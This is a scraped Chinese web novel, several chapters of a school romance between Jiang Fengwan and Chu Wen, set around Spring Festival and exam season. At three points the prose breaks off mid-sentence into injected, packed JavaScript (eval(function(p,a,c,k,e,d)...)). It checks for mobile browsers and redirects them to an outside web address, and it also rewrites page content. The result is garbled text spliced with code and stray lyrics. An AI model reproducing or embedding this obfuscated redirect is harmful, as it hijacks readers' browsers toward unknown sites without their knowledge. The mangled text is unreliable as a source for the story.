“哦、哦哦。”女孩亦步亦趋跟在少年身后,试图帮忙。 褚闻不由得停下来,直视她,下巴微扬:“站那儿。” 姜逢晚小步走过去,掀开眼帘又垂下,怕打扰他,又想观察他在干什么。 很快,褚闻收拾好书店,让她去门外等着。 姜逢晚刚走没几步,身后男生立刻将她拉近自己,虚环着她,长手紧紧握住她胳膊。 少年气息干净清爽,呼吸声隐约可闻,世界都安静了。 褚闻垂眸直视她:“没看见玻璃门?”语气带着指责,冷冰冰的。 姜逢晚人都傻了,倏地觉得自己怎么能如此蠢笨。 “不好意思。”她连连道歉。 褚闻松开她,拧起眉头,一字一句道:“小心看路。” 姜逢晚低下目光,脸庞困窘一片。 锁好书店大门,身形修长、穿着校服的男生从兜里掏出钥匙。 对着某个方向按了按。 有辆女式电瓶车在“滴滴滴”叫,车身是粉色的,头盔也是粉色的。 “过来。”他声音低沉好听,背影高大笔挺,莫名有一丝安全感。 姜逢晚听话地走过去,拉紧帆布包。 周围光线不算明晰,路灯下落叶铺满一地。 褚闻将粉色头盔递给姜逢晚,吐出两个字:“戴上。” 他跨上电瓶车,双腿颀长有力,身姿极为优越。 姜逢晚小心翼翼地坐上去,忐忑两秒,手都不知道该往哪里放。 目光仓皇,总感觉空落落的,生怕掉下去。 褚闻打算带姜逢晚回明水镇,电瓶车是跟书店老板借的。 夜凉如水,万物寂静。 过县城减速带时,周边的风冷肃肆意,姜逢晚整个人瞬间扑到褚闻身上。 劲瘦的身躯被她抱满怀,姜逢晚一惊! 耳垂绯红,吓得猛地收回手。 结果又一个减速带来临,她再次扑到了褚闻身上,完全没反应过来。 少年的声音冰冷,咬牙切齿道:“坐稳点。” “对…对不起。” 这还是姜逢晚第一次坐电瓶车,难免有些不适应。 双脚离地不远,能清楚地看见地面在快速移动,光影斑驳迅捷。 一种新奇惊异的感受浮上她心尖,连带着恐惧感都减弱不少。 怕一不小心跌下去摔成半身不遂,女孩鼓起勇气说:“褚闻,我能抓着你衣服吗?”声音软软的,不仔细听都听不到。 褚闻没说话,也没拒绝她。 后视镜映着少年光洁的下颌,线条利落分明。 姜逢晚轻轻抓住了男生的衣角,认真看了一眼他的背影。 “大概多久到?” “二十几分钟。” “你骑慢点,别把我摔下去了。” 闻言,褚闻鼻尖发出一个“哼”字,有些凉飕飕的。 姜逢晚立即解释道:“我只是给你说一下这个情况。” 过了会儿,默默补充一句:“你要注意安全。” 声音轻柔得不像话,仿佛在撒娇。 前面的褚闻没说话,透过后视镜扫了她一眼,唇角扯开一抹嗤笑。 车速却减慢了。 迎面吹过的风逐渐寒凉,视野不复县城敞亮,褚闻开了远光灯,灰尘颗粒在光线中漂浮。 有一段路没有路灯,整个世界漆黑静谧,姜逢晚拉紧他衣角才觉得安全。 心想:凶恶少年,人却好。 ** “下车。”男生的声音极为冷淡,透着骨子里的疏远。 姜逢晚一咬唇,瞬间收回之前对他的好评。
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“比如数学选择,填空,或者大题最后一道,它至始至终,总是存在一个类似于缺口的东西,你根本迈不过去,完全没有办法拿到满分。” “或者大家都说英语简单,但我也没见哪个考满分。” “而榆大,是我竭尽全力后,力所能及的地方。” 褚闻沉默半晌,停下脚步对舒景澄说:“会有一天,你会相信曾经不可能发生的事。” “没有人说一定要拿满分,高考比的是总分。” “我觉得你进步空间挺大的,毕竟,你物理不才七十几吗?” “七十难道少了?!”舒景澄跳起来说。 “不少,因为我也是从七十考到九十五的。” “???”舒景澄瞳眸震惊,“褚哥,你怎么做到的?” “一直学。” “废话。” 褚闻白了舒景澄一眼:“在你说废话的时候,我也在一直学。” 似乎觉得有点好笑,褚闻轻描淡写地开口:“你尽了最大努力?你的极限在这里?” 他的语气淡淡的,轻飘飘的,舒景澄却莫名从中听出了嘲讽和怀疑的意味。 “桌子里的课外书,上课开小差,偶尔抄作业,每天赶作业……你确定自己竭尽全力?” 舒景澄拉紧书包袋子:“人总有放松的时刻嘛,再说了,我只是偶尔走神,偶尔听到没?我专心的时候你又没看见。。。” “学习的时候要精神高度集中,四个多月后你且看它。” “走了。” 褚闻坐上回明水镇的客车,徒留舒景澄一个人在风中凌乱。 他呆呆地想:怎么可能会有人时时刻刻,精神高度集中。 但,似乎……褚闻学习的时候,周围一切声音好像小了。 他一动笔,整个人都沉静下来,前所未有的认真。 42. 相逢 男生背着书包从客车走下。 这一年,明水镇的洋灰地换成沥青路,地面的坑坑洼洼终于消失,下雨不再担心一脚会踩滑。 街道两旁的车辆多了起来,外出打工的人全回来过年,明水镇出现了久违的热闹场面。 褚闻停在人来人往的路灯下,抬头,望向门前那棵桂花树下的石墩,有个弹吉他很好听的女孩,依旧没有出现。 有雪花落在他长长的眼睫,褚闻轻轻眨眼,拉紧书包往小巷走去,旁边一排水杉树掉完了叶子。 推门进入楼道,灯光明亮,很安静。 路过二楼,门微敞着,没有冒出电视机的声音。 行至三楼,再不会碰见小心翼翼靠着墙偷听对话的她。 来到顶楼,雪渐渐大了,视野里白茫茫一片,有些空寂。 褚闻闭眼叹息,书包抵靠墙壁,耳边风声寂寥。 不是没有告诉过自己,一切终会过去。 只是这样的等待,太过漫长无声。 他有些失落。 甚至委屈。 - 元旦那天的第一节晚自习,久违地没有被老师占用。 班主任吴老师自费买了一些元旦贺卡和棒棒糖,每个同学一张贺卡和两个棒棒糖,让他们把新年愿望写在贺卡上。 那是一张很好看的浅粉色信封,背面印着盛放玫瑰与飞舞的蝴蝶,浪漫梦幻。 褚闻拿起签字笔,原本想写“天意与人为相得益彰,烈风只渡荒野的鹰”这句她送给他的话。 但落笔的瞬间,贺卡上面的字却变成了—— 新年愿望:我想见你。 只想见你。 然后熬过冬冷春寒。 等来年仲夏。 ** 那天下着雪。 二月里极为稀松平常的一天,以至于后来褚闻还要特意翻开日历才知道具体是几号。 天空安静地下着鹅毛大雪,路道来来往往不少人,脸上笑意盈盈,手里提着特意买的年货,周围欢声笑语,热闹非凡。 褚闻去接刚卖完菜准备回家的外公,两人站在十字路口等车辆通过。 金乌西沉,树枝挂着白雪,一道曾经听过无数次,熟悉到这辈子都不能忘记的声音突然在不远处响起,软侬悦耳。 褚闻猝不及防地回头,手心不由自主地握紧,直至看清——那个女孩的侧脸。 加油站的方向停放着一辆轿车,有个穿蓝色毛绒绒棉衣的女孩推开车门走了下来,嗓音清甜柔软,侧脸白净,清新脱俗的漂亮:“爸爸,外婆喊吃饭了,还有多久加完?” 那一刻,当褚闻望见姜逢晚,半刹那间恍似春拂面,极为明晰地,有什么直直撞进了他的心里,指尖稍停,舍不得眨眼。 褚闻慌乱转身,看了眼今天穿的衣服,一摸脖子,惊觉少了些什么。 他抿了抿唇,对林爷爷说:“外公,我还有事,我先回家一趟。” 说完不等回答立刻跑了出去。 道路两旁的桂花树绑着亮晶晶的小彩灯,路灯下挂着红灯笼,漫天雪花在飞舞,迎面风雪扑来带着微凉触感,少年穿过层层叠叠的人群径直往前跑去,那双秋水寒星的眸子罕见地盛满了温柔。 “这孩子,跑那么快干嘛?”林爷爷疑惑地看了眼褚闻的背影,结果一瞬间就没影了。 姜封河付完钱走过来,打开驾驶座的车门:“好了,我们走吧。” 两分钟后,黑色轿车在门前停下。 姜奶奶和姜爷爷看见后连忙从屋里跑出来,笑着走上前。 “封河回来了!” “快进屋坐,屋里暖和。” “你们带这么多东西做什么?” “缝缝,好久不见,奶奶也想你。” 姜封河和唐清打开后备箱,提着大包小包的礼物跟着两个老人往屋内走去。 姜奶奶脸上的笑格外灿烂,和他们不停说着话。 姜逢晚背着帆布包,也准备往屋里走。 这时,身后忽然传来一道久违的,令人心尖滚烫的声音。 “姜逢晚。” 有人在喊她,明明声音不大,却过分清晰。 姜逢晚回头,蓦然看见了对面站在电线杆旁边的褚闻。 他长身鹤立,星眸含笑,黑发染了几分雪意,脖间戴着红色围巾,那么安静而专注地,一直看着她。 女孩嫣红的唇角蔓延开笑意,眼尾不由自主地弯起,往男生的方向跑去。 笑着打招呼,耳朵不禁红了红:“好久不见。” 面前的男生同样有些不自在,从她脸上移开目光,声音温润道:“好久不见。” 姜逢晚踮起脚尖,轻轻挥去褚闻头上的雪粒:“你怎么在这里站着,在下雪你不知道吗?” 褚闻没说话,他看起来那么乖巧,好似春风融在他的眼里,安安静静地看着姜逢晚。 屋内姜奶奶在喊吃饭,姜逢晚拉了拉褚闻身上的红色围巾:“你快回家,等会儿我来找你。” 转身跑进屋的时候,姜逢晚有些疑惑,围巾为什么是湿的。 是雪花融化的原因吗? - 今天是2月4号,除夕前三天,姜逢晚回来了。 褚闻站在房间,心里升腾着因她而起的欢喜,无法遏制。 门外有脚步声,褚闻立即站起身,进来的人是林爷爷。 他奇怪地看了褚闻一眼,随后指着那条红色围巾问:“你不是前天才洗吗?这么快就干了?” 褚闻面不改色地点头。 “小闻,我跟你说,湿衣服穿身上要不得,会感冒的。” 褚闻连忙推着外公往门口走:“外公你先去吃饭吧,我走之前就做好了,再不吃要凉了。” 林山有些疑惑,但不知道具体是哪里疑惑,听到“菜要凉了”这句话,这才放下疑惑回屋。 褚闻转过身,走到桌子旁边的草莓苗前,伸手点了点草莓叶。 少年无声勾起唇角,眸光清亮。 站在房间,静静地等着姜逢晚来找他。 真好,虽然现在新的一年还没到来。 但他已经提前实现了新年愿望。 谢谢你,姜逢晚。 ** 一楼。 迅速吃完饭,姜逢晚站起身,装作不经意间开口:“我吃饱了。” 坐在旁边的唐清瞥来视线:“怎么今天吃这么少?” 姜逢晚默默往厨房的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他似乎对这个答案格外关注,就像从前在意她什么时候回榆溪一样。 姜逢晚想了想,回道:“过完年,10号左右吧。” 近距离接触远没有电话里说话自然熟稔,姜逢晚握紧手心,偷偷瞄了男生一眼。 女孩黑葡萄似的眼睛比星星还好看,看着他时,同以前一样充满光亮,褚闻微微弯唇,近乎雀跃。 他们家年货只买了一些肉和菜,没有买零食。 少年抬起眼睑,从抽屉里拿出两颗老师发的棒棒糖以及之前没舍得吃的零食放到姜逢晚手心。 姜逢晚接过,又悄悄瞄了褚闻一眼。 他的确和从前不一样了,都不敢面对面看她。 为什么?心中缓缓冒出一个问号。 接下来的时间,可能是重逢太匆匆,两人都没准备好,说了一会儿话后,氛围僵滞下来。 姜逢晚站起身:“那我先回去了。”挥手告别。 褚闻走到门口,握紧双手,近乎脱口而出:“广场晚上有人放烟花,你要去看吗?” “好啊,那我晚点来找你。” 褚闻乖乖点头:“嗯。” 下楼时,姜逢晚这才将注意力放到手中的零食,这不是她第一次送给褚闻的吗? 43. 烟花 “我去!” “褚闻你好牛逼!” “牛逼轰轰!牛逼炸了!” “这次考试可是一三八联考!” “你居然不声不响地考了649!!!” “啊啊啊啊啊啊!我去!这可是一模!” “你你你你你你你……” “哥你太优秀了!” “这次考试难度那么大!” “你真的太tm优秀了!!!” “褚哥,你在听吗?你怎么不说话啊!” 舒景澄站在二楼窗前,心情激动得跟会上树的猴子一样! 简直大为吃惊!极度羡慕! “哦,知道了。” 电话那端传来男生轻描淡写的声音,看起来并没有想象中兴奋。 ???舒景澄头上缓缓冒出一个问号,迟疑地问出口:“你难道不激动吗?” “跟我想的分数差不多,算是意料之中。” 舒景澄瞬间尖叫:“那可是六百四十九!你跟我说意料之中?!明槐多少年没出过这么高的分数了!” “上一届考榆大的那个叫什么绪的,也才六百三十几!” “这可是一三八联考!你你你你……竟然不激动!骗鬼的吧!” “你真的不高兴吗?哪怕笑一笑也是可以的呀,搞得我有点心慌~” 褚闻合拢笔帽,吐出几个字,声音通过屏幕传到舒景澄眼巴巴的耳朵里:“我今天还有其他事。” “先不和你说了。” “嘟、嘟嘟。”他说完就挂了,好像着急去做什么拯救世界的大任务一样,那么匆忙,丝毫不给人反应时间。 舒景澄低声暗骂一句,三锤墙:“艹!” “呵呵,其他事,有什么事比一模成绩更重要!” “啊啊啊啊啊不行,为什么我tm才考这么点分数!”舒景澄一头倒在床上,后槽牙差点咬碎。 倏然想起刚刚爸妈在耳边兴高采烈的声音,他哀哀地闭上眼,闷闷地泄了口气。 感觉他的自信全被褚闻那小子给拐跑了。 只是,绥安大学,虽然高一上学期他曾经也有关于这所学校的梦想。 但……那么高的分数,他怎么可能考到。 过了会儿。舒景澄第四次锤墙—— 不对啊,他明明考了633呀! 让那啥不自信的全都见鬼去吧! 他要嗨!他要庆祝!他要浪! ** 冬季的夜晚出现得比较早,感觉没过一会儿,老天就已经睡着了。 穿着可爱棉衣,脚踩厚实棉鞋的女孩往楼上走去,嘴角弯起一个微不可察的小弧度,带着期待之意。 门没有关,里面没人。 姜逢晚走到天台,头顶数以万计的星星低垂着,感觉夜空离她很近,无声刺骨的寒风从前方扑面而来,幸好她穿得比较厚,只有脸冷到了。 一枚小灯泡挂在檐下发着忽明忽暗的微弱光芒,姜逢晚小声喊了句:“褚闻,你在吗?” 站在围墙边的少年回头,他不出声的时候,仿佛与黑夜彻底融为一体,姜逢晚第一时间竟没发现他的身影。 少年大步来到檐下,剑眉星目在暗淡灯光下,越加显得耀眼夺目,不费吹灰之力地占据女孩的全部注意力。 褚闻立在姜逢晚面前,身高腿长,存在感过分明显,眼帘微垂,瞳眸认真。 女孩摊开手,温声说:“这里是一千八百块钱。” “我替你保管了半年。” “现在交给你。” 褚闻没接,眼帘掀开了些,没说话。 姜逢晚只好上前一步,试图把钱放进他手心。 夜空的星星一闪一闪地发着光,周遭除了一枚若隐若现的小灯泡,其他任何声音都听不到。 褚闻忽然往后退了一步,双手从兜里移开,散漫地张开手,笑意慵懒。 他盯着姜逢晚的眼睛,缓缓冒出一句话,含着轻笑:“姜逢晚,你在干什么?贿赂我?” “褚闻,”女孩好气又好笑,抿了抿唇,目光闪躲,“你不能这样。” 听见这话,少年眉眼一弯,扬起星星点点的笑意,顺着她的话接下去,近乎调侃:“我怎样?” 姜逢晚脸颊一红,懊恼地咬了咬唇,随后一鼓作气走上前。 褚闻一步一步慢悠悠地往后退,直至退到黑夜里小灯泡照不到的暗黑处。 姜逢晚停下脚步,蓦然反应过来褚闻在戏耍自己。 她不可置信地眨了眨眼,直接跑上前一把抓住褚闻胸前的衣服。 漫天星光下,女孩的眼睛美得不像话,明眸皓齿,脉脉含情,温柔明亮。 姜逢晚耳垂泛红,害羞地移下目光,轻声说:“你要接着,听到没?” 褚闻被姜逢晚抓住衣服,明明稍微移动就能挣脱,然而他没有动,只是静静地站在原地。 声音轻缓,尾音拖长了一些,带着属于少年的阳光正气,却又像面对喜欢的人情不自禁地弯起唇角浅笑的模样。 “姜逢晚,我身份证,成年了。” 嗓音清澈迷人,如潺潺流水,如溪边玉石,字字敲击在女孩的耳膜。 褚闻微微低头,距离她更近一点,好看的眉眼弯了弯,声音是前所未有的温柔,只对她一人。 “今天我们同岁。” 这么近的距离,一点儿也不安全,彼此的呼吸声都能听到,若有似无的青柠香将她整个人包围。 姜逢晚抬头,恰好对上褚闻的黑眸,里面有来不及收回的浓重情绪,似乎将她整个人吞没,整个世界只能看见他一人。 “所以——” “是我想送给你。” 这四句话,有什么前后关联吗? 姜逢晚的一颗心七上八下,脑袋更是云里雾里的。 她不自在地往后退了半步,呼吸急促不安。 然而意外陡然发生,后退的时候不小心踩到一颗小石头,重心不稳,眼看着就要往一边倒下。 比女孩反应更快的人是褚闻,长手一伸,直接将姜逢晚整个人揽入怀里。 少年气息炙热明晰,完完全全超出安全距离,视线不再平稳,睫毛飞颤。 姜逢晚整个人几乎是以被褚闻抱在怀里的姿势,不知所措,预料不及,而又猛然心生欢喜。 心脏跳动的速度越来越快,整个世界彻底安静下来,有什么情绪顺着全身每一个角落来回激荡,昭然若揭,却又隐晦不明。 下一秒,外面突然响起街道放烟花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从来淡漠冷然的少年,此刻在高高路灯的照耀下,眼眸是那么的亮,装着姜逢晚一个人的倒影,只能清楚地看见她。 女孩轻轻摇头,抑制不住心中甜意。 少年一手拿着装烟花的袋子,另一只手依然牵着姜逢晚,长长的背影落在地面。 两人走到明水桥上,底下河水静静流淌,远山连绵,万籁俱寂。 放孔明灯。 点仙女棒。 一起拿花筒。 …… …… …… 无法用只言片语来述说姜逢晚的快乐,她望着身边的少年,很想踮起脚尖亲在他的侧脸,夜幕不能掩盖偷偷的行为,因此她转过头,不自然地颤动眼睫。 她实在太胆小了。 她不敢,她不安,心尖却升腾着极为浓烈的渴望,几近让她招架不住。 清凉河风徐徐吹过,女孩额间的空气刘海微微吹散,正当她弯腰去喊褚闻的时候,少年听到声音恰好转头起身。 那么刚刚好的,不多也不少,有什么毫无征兆地印在姜逢晚的额间。 一触即分,四目相对。 44. 新年快乐 !!! 怎么、怎么会碰到…… 姜逢晚整个人僵滞在原地,一眨不眨地盯着褚闻,满目吃惊,不可置信。 倏地一下,她立即往后退了一小步,心跳剧烈不安,怦怦作响。 女孩抬起左手轻轻触碰自己的额头,那里残留着微凉触感,嫣红的唇微张着,睁开眼睑,傻傻的可爱。 不仅是姜逢晚,褚闻整个人也瞬间迷茫起来,气息慌乱,羽睫稍停。 一贯沉稳的少年,下意识上前试图解释,他凝眸望着姜逢晚,喉结滚动,微不可察的紧张,蓦地说不出一句话。 对他来说,在黑夜里牵起她的手,已经是平生最冒险的举动。 褚闻停顿两秒,抬手僵硬地放在女孩的脑袋上,看着她嫣然绯红的脸颊,眼睫颤动,低下目光,声音细微:“……对不起。” “没、没关系。”少女的脸红,在昏暗的路灯下,是欲盖弥彰的心意。 足足静止了一分钟,两人这才同手同脚转过身,一起往大桥下面的公路走去。 烧烤店开着门,灯牌闪着五颜六色的彩光,大棚下一个男人正在烧烤架前忙碌,浓烟升空,高高的路灯下有几个年轻人坐在塑料椅上低头玩手机。 转角处往左走,两旁的桂花树挂着亮晶晶的小彩灯,喜庆红灯笼不停晃入眼帘,周围走过来来往往的人,欢腾着笑意,氛围缱绻温馨。 可能是因为刚刚的举动,褚闻不敢继续牵姜逢晚的手。 默默不说话。 但会提醒她,前面有小石头。 - 背后忽然传来一道喊声。 姜逢晚回头,看到了不远处的路昭和路绪,两人步履稍快,匆忙赶过来。 “姜逢晚,真的是你呀?” “啊啊啊太激动了!” “好久不见!真是想死我了!” 路昭欣喜若狂地走上前,看了姜逢晚身边的褚闻一眼,“不怀好意”地说:“在干嘛呢?” 说完她挑了挑眉,直直与姜逢晚对视,唇角弯起小弧度:“什么时候回来的,怎么没跟我说呀?这么久没见,你又漂亮了!” 姜逢晚回道:“今天下午,好久不见,我也想你。” “原来是今天,”路昭笑了一下,“你回明水镇过年吗?” 姜逢晚点了点头,看着路昭手里的仙女棒:“你们来广场看烟花?” “嗯嗯,刚刚到处都在放烟花,可好看了。” 路昭瞅了姜逢晚和褚闻一眼,扯过旁边心不在焉的路绪,说道:“那我们先走了。” “明天见!” “明天见。” 路昭和路绪走后,姜逢晚这才放松下来,天知道她刚刚有多么紧张。 女孩转头看向褚闻,闪了闪眼睫:“我们也回家吧。” 褚闻点头,唇角忽地抿起一个小弧度。 深夜。 姜逢晚躺在床上,窗帘遮盖窗外星光,房间内静悄悄的,只有她一个人清醒着。 视野里伸手不见五指,异常安静,她闭上眼,摸了摸自己的额头,有些失神。 那股难以言喻的异样感,仍在不断萦绕心间,即便闭上双眼,依旧彻夜难眠。 姜逢晚爬起来喝了口水,倒在床上看着黑漆漆的天花板,然后开始背着褚闻的电话号码。 一遍又一遍,眼尾弥漫开止不住的笑。 这算亲吻吗?还是算什么…… 实在太过激动,姜逢晚在床上翻来覆去睡不着。 索性拿出和褚闻相似的白色耳机,打开音乐,跳出的第一句歌词是—— “我对你又何止是执迷不悟” 女孩用手背蒙着自己的眼睛,弯起唇角,心在雀跃。 与此同时。 褚闻伏在桌前,手里拿着签字笔,却没动笔,罕见地处于发呆中。 屋内台灯照亮的地方只有桌前那一角,他往后靠着椅背,模样有些失神,下颌优越。 光线半明半暗间,褚闻抬起手捂着唇角哑然失笑。 随后轻悄拉开房门去到天台。 眼前一片漆黑,唯有点点星光缀在天空,整个世界都在沉睡。 他微垂着头,不自在地往右边看了眼,眼尾勾起只有他清楚的小弧度,无处藏匿,过分明晰。 连避免思考这件脱离掌控、躁动不安的事,也做不到。 静谧的小镇里,路灯依旧,高高瘦瘦的男生站在那儿,眸光清浅。 ——外婆说,喜欢一个人,要先对她负责。 ——可他现在,亲了一个人,是不是更要对她负责。 ** 第二天。 褚闻早早醒了。 起床的第一件事不是去洗漱,而是碰了碰自己的唇角,抿起浅笑。 黑眸清澈,显而易见的情绪,是无可言说的雀跃。 他从兜里拿出老年机,指尖稍停,在犹豫。 屏幕上的字打了又删,删了又打,没个准确的结果。 少年盯着桌边的草莓苗,似乎觉得自己这行为属实有点好笑,他不自在地勾了勾唇角,无奈地移开目光。 一手捞起挂在木椅的红色围巾,整齐地戴在脖子上,而后拉开门往楼下走。 “小闻,这么早你去哪里?”林爷爷听到开门声喊道。 “我去外面逛逛。” 林爷爷面露疑惑,这么冷的天,冰天雪地里有什么可逛的。 “缝缝宝贝,”唐清刚拉开房间的门,一惊,“你今天怎么起这么早?平常不是要睡到八、九点才起的吗?” 姜逢晚正在镜子前给自己编辫子,听到这话,唇角若有似无地弯了弯,解释道:“今天醒得比较早。” 其实是因为太激动了,所以一大早就醒了。 “好了妈妈,我出去买早饭,你想吃点什么?” “小笼包。”唐清疑惑地看着姜逢晚的背影,心想她今天怎么看起来特别开心的样子。 姜逢晚戴着可爱的白色帽子,一路上哼着歌,蹦蹦跳跳地往包子摊走去。 “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007085|134775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然会想起了全部” “想你的雨夜车窗起雾” “手指写完了名字才哭” “我可以勉强做主试图大度” “却说不出你婚礼的祝福” 姜逢晚提着小笼包,脸上挂着肉眼可见的欢笑,正哼着“我对你又何止是执迷不悟”的时候,前方出现了一道大步走来的人影。 身形笔挺修长,穿着黑色羽绒服,脖间戴着红色围巾,点漆的眸,长眉浓烈,她一眼认出来人,唇角不由自主地往上扬了扬。 “早上好呀,褚闻。” 男生来到她身边,带着一身寒意,不知道在雪地里走了多久,眸子染了星点的笑意,声音清越:“早上好。” 不自在,这是姜逢晚心中的唯一想法。 打完招呼后,女孩闷不吭声地低头走,耳垂慢慢红了,不知道该说些什么。 褚闻偏过头用余光关注着她,眼帘半垂,想了想最终没有开口。 只是握着的指尖反反复复在犹豫。 转眼来到除夕那天。 ——【姜逢晚,起床没?】 隔了将近半个小时,对面回道。 ——【起床了。】 ——【在祭祖。】 十一点。 褚闻再次发去信息。 ——【现在有空吗?】 ——【打扫卫生ing。】 下午两点。 ——【你在楼下吗?】 ——【家里来亲戚了,人超多。】 街道的烟花爆竹声响越加频繁,褚闻站在楼梯上方,二楼来来往往不少人,一片笑声。 他转过身,正准备往楼上走,下一刻听到了姜逢晚的声音。 褚闻停在原地,情不自禁地转过身回头看去。 视野里只有门口那几个人,她应该在客厅,不知道在和谁说话,应该是哪个长辈,对方在夸她。 除夕夜,晚十一点五十八。 当褚闻以为今天不会等来姜逢晚的回信时,她突然打来电话。 “你睡了吗?” “还没有。” “那就好。” “你出来一下,我有事找你。” 褚闻回头,跑到檐下,看见了突如其来的姜逢晚。 他滑了滑喉咙,眼睫颤动:“这么晚了,你……” “我来陪你跨年。” “他们在楼下打牌。” “我悄悄来的。” 女孩白皙的脸庞鼓起笑容,杏眼明媚干净。 星光弥漫的天空,在十二点那刻,骤然开放无数烟花,喧闹,欢笑,庆祝声在街道蔓延。 层层叠叠的烟花下,褚闻侧头,眸光温柔:“新年快乐。” “新年快乐!”姜逢晚笑道。 褚闻看着姜逢晚,在心里悄悄说道—— 姜逢晚,我喜欢你。 烟花绽放,爆竹声响。 所有的欢喜热闹与我无关。 但如果你在的话,这些可以与我有关。 45. 冬去春来 “喂,宋听语?” “你听见了吗?” “操场上,高三在百日宣誓。” “走,咱俩也去瞧瞧。” 宋听语匆忙合上钢笔笔帽,被说话的女生拉到走廊栏杆处。 这节课原本是体育,后来临时被告知改为自习,教室里只有零零散散几个人,大部分跑去走廊了,还有几个趁乱跑去小卖部。 周围的同学将过道围得水泄不通,整层楼只有他们一个班跑出来看,时不时传来邻班老师讲课的声音。 此刻是上课时间,她们班的班长和副班长都是男生,管理非但不说严格,相反格外自由,毕竟现在带队出来看百日宣誓的两个班长就站在宋听语旁边。 一道低沉磁性的声音从远处塑胶操场传来,声线平稳清越。 “流光一瞬,华表千年……” 听到这句话,宋听语下意识停在原地,她很少听到这么好听的男生声音。 正准备继续听下去,走廊另一端突现一个老师,严肃喊声让人惊恐万分。 “你们是哪个班的?” “现在为什么没去上课?” 有同学胆大地喊了句“自习课”。 男老师扶了扶眼镜,脸上浮现让学生见之畏惧的表情,眉头一皱,怒道:“自习课也不能出教室,像什么话!赶快回去!” 回到教室,接下来的时间在发呆中度过,耳边听到那个男生发言结束,之后便是剧烈、盛大而沸腾的宣誓语。 熬到下课,不知道为什么,宋听语第一个跑出了教室。 想去看刚刚拿话筒演讲的男生是谁,但操场那儿刚好有一堵墙隔绝舞台视线。 宋听语一个人静静地趴在走廊,两栋教学楼中间的小操场传来密密麻麻的说话声,完成百日宣誓大会的高三生回来了。 现在三月初,虽说已然到达属于春天的季节,但气温丝毫没升高,一阵寒冷的风从四面八方吹来,女孩哆嗦了一下身体。 下一秒,她蓦然望见了走过长长台阶来到小操场的一个男生。 高高瘦瘦的,皮肤比其他人至少白一度,五官出众,眉眼浓烈,长相精致而英俊,属于让人一眼惊艳的类型,站在人群里是那般耀眼夺目。 是之前在驿站门口遇见的那个男生。 宋听语踮起脚尖,从栏杆探出头往下看去,眼眸顿时明亮一分,目光专注弥漫开笑意。 不知道他叫什么名字。 眼见他已经进入楼道,宋听语连忙转身跑到楼道边,高三的同学在四、五楼,她们这层是二楼。 不知道还能不能再看见他。 期待的目光跟随人群慢慢移动,没想到还真的碰见了。 那个男生只是侧头看了她一眼,脸上没有其他表情,一扫而过完全没有留意。 撞上视线的那一瞬,宋听语握紧手,轻轻眨了眨眼,有种无所适从又欣喜若狂的情绪浮上心间,久久不散。 耳边听到有人喊了句“褚闻”,那个男生回头,和旁边喊他名字的另一个男生说话,背影消失在转角处,玻璃窗外风声簌簌。 原来他叫褚闻。 宋听语稚嫩的脸庞挂满了笑容。 后来,宋听语才知道,这个名字所对应的荣耀。 他是作为高三优秀学生在百日宣誓大会演讲的人。 是逆袭,是黑马,是霸榜的年级第一。 宋听语带着这个刚刚知晓名字回到教室,扬起唇角无声轻笑。 - 周四晚上,褚闻一如往日般准备给某个人发去信息。 只是抬眼忽地瞧见几分钟前对方发来的信息。 ——【褚闻,生日快乐!】 ——【希望你年年皆胜意,岁岁都欢愉!】 准确来说,褚闻只知道今天周四,三月份,距离姜逢晚回榆溪快一个月这件事。 她还记得他生日。 褚闻指尖稍停,好看的眉眼上扬,眸中一瞬间溢出清浅的笑意。 ——【谢谢你。】 ——【晚安。】 ** 褚闻在做卷子,舒景澄在给前桌当心理辅导老师。 “吴老师不是说过——” “勤学如春起之苗,不见其增,日有所长;辍学如磨刀之石,不见其损,日有所亏。”① “所以你不能继续这样下去。” “你该努力!” 舒景澄用签字笔敲了敲桌面,看着面前因考试成绩哭哭啼啼的女生,最终不忍心地放缓语气,就当他浪费十分钟,选择日行一善吧。 “如果合群让自己成绩下降,上课分心,下课时间被占据,那还要合群干嘛。” “你看我褚哥,平时除了我,也就独来独往一个人,还不是考了年级第一。” “所以,目前阶段最重要的事情是学习。” “如果我没记错的话,你应该每节课下课,都要和你小姐妹一起上厕所吧。” 说完舒景澄先忍不住笑了,他真的不是特意去关心这位女同学,实在是因为前面少了一个人,比较显眼。 “总之,不要做合群的loser,要做孤独的王者!” “好了,上课了,你转过去吧。” 舒景澄从物理书里拿出卷子,认认真真看题。 其实近来他有一个巨大的发现,就是他本人专心致志的时候,真的特帅! 当然他不是说自己一定会考绥大,只是吴老师说一分刷掉上千人,他打算在原来基础上甩掉上万人才选择更努力的。 而且如果能拿更高的分数选更好的专业,何乐而不为呢! 学习间隙,舒景澄侧头瞄了身边专注做题的褚闻一眼,而后收回视线。 丫的。 他还不信了。 必须要考上绥大! ** “考试中最重要的事情是什么?” 吴老师站在讲台上,手拿戒尺和粉笔,她转过身写下三个字——“平常心”。 “一直担心考试结果,一会儿觉得自己考得好,一会儿觉得自己考得差,最终的结果一定是低于正常水平。” “要保持平常心,焦虑不会让成绩变得更好,而平常心却能。” “希望一个月后,你们都能取得理想分数。” 吴老师拿着书本,转身落下一句:“好了,今天就讲到这里吧,下课。” 吴老师身影一消失,整个班级倏然沸腾起来。 无他,五一节放两天!还剩最后一节数学课就可以回家了! 